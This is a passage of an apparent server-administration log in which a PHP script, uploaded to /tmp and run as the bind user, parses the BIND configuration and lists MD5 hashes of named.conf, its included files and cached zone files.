MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:32:35: Establishing a connection
2026-02-09 13:32:35: 

PUT: /tmp/pkp508430

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:32:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp508430; rm /tmp/pkp508430'

2026-02-09 13:32:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:32:37: Establishing a connection
2026-02-09 13:32:37: 

PUT: /tmp/pkp626741

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:32:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp626741; rm /tmp/pkp626741'

2026-02-09 13:32:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
